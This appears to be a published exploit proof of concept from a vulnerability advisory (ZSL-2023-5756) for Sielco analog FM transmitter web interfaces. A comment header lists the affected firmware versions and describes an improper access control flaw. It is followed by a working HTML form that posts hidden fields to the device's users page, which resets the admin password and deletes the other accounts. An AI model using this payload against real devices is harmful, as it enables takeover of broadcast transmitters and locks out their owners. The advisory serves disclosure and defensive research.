<!--## Exploit Title: Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password## Exploit Author: LiquidWorm
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version:2.12(EXC5000GX)2.12(EXC120GX)2.11(EXC300GX)2.10(EXC1600GX)2.10(EXC2000GX)2.08(EXC1600GX)2.08(EXC1000GX)2.07(EXC3000GX)2.06(EXC5000GX)1.7.7(EXC30GT)1.7.4(EXC300GT)1.7.4(EXC100GT)1.7.4(EXC5000GT)1.6.3(EXC1000GT)1.5.4(EXC120GT)
Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.
Desc: The application suffers from improper access control when
editing users. A user with Read permissions can manipulate users,
passwords and permissions by sending a single HTTP POST request
with modified parameters and edit other users' names, passwords
and permissions including admin password.
Tested on: lwIP/2.1.1
Web/3.0.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5756
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5756.php
26.01.2023--><html><body><form action="http://transmitter/protect/users.htm" method="POST"><inputtype="hidden" name="pwd0" value="PWDCHANGED"/><!-- This will set/modify admin pwd --><inputtype="hidden" name="pwd0bis" value="PWDCHANGED"/><!-- This will set/modify admin pwd --><inputtype="hidden" name="user1" value=""/><!-- This will set/modify user1 --><inputtype="hidden" name="pwd1" value=""/><!-- This will set/modify user1 pwd --><inputtype="hidden" name="pwd1bis" value=""/><!-- This will set/modify user1 pwd --><inputtype="hidden" name="auth1" value="0"/><!-- This will set user1 read perm --><inputtype="hidden" name="user2" value=""/><!-- This will set/modify user2 --><inputtype="hidden" name="pwd2" value=""/><!-- This will set/modify user2 pwd --><inputtype="hidden" name="pwd2bis" value=""/><!-- This will set/modify user2 pwd --><inputtype="hidden" name="auth2" value="0"/><!-- This will set user2 read perm --><inputtype="hidden" name="user3" value=""/><!-- This will set/modify user3 --><inputtype="hidden" name="pwd3" value=""/><!-- This will set/modify user3 pwd --><inputtype="hidden" name="pwd3bis" value=""/><!-- This will set/modify user3 pwd --><inputtype="hidden" name="auth3" value="0"/><!-- This will set user3 read perm --><inputtype="submit" value="Modify admin pwd, delete all users"/></form></body></html>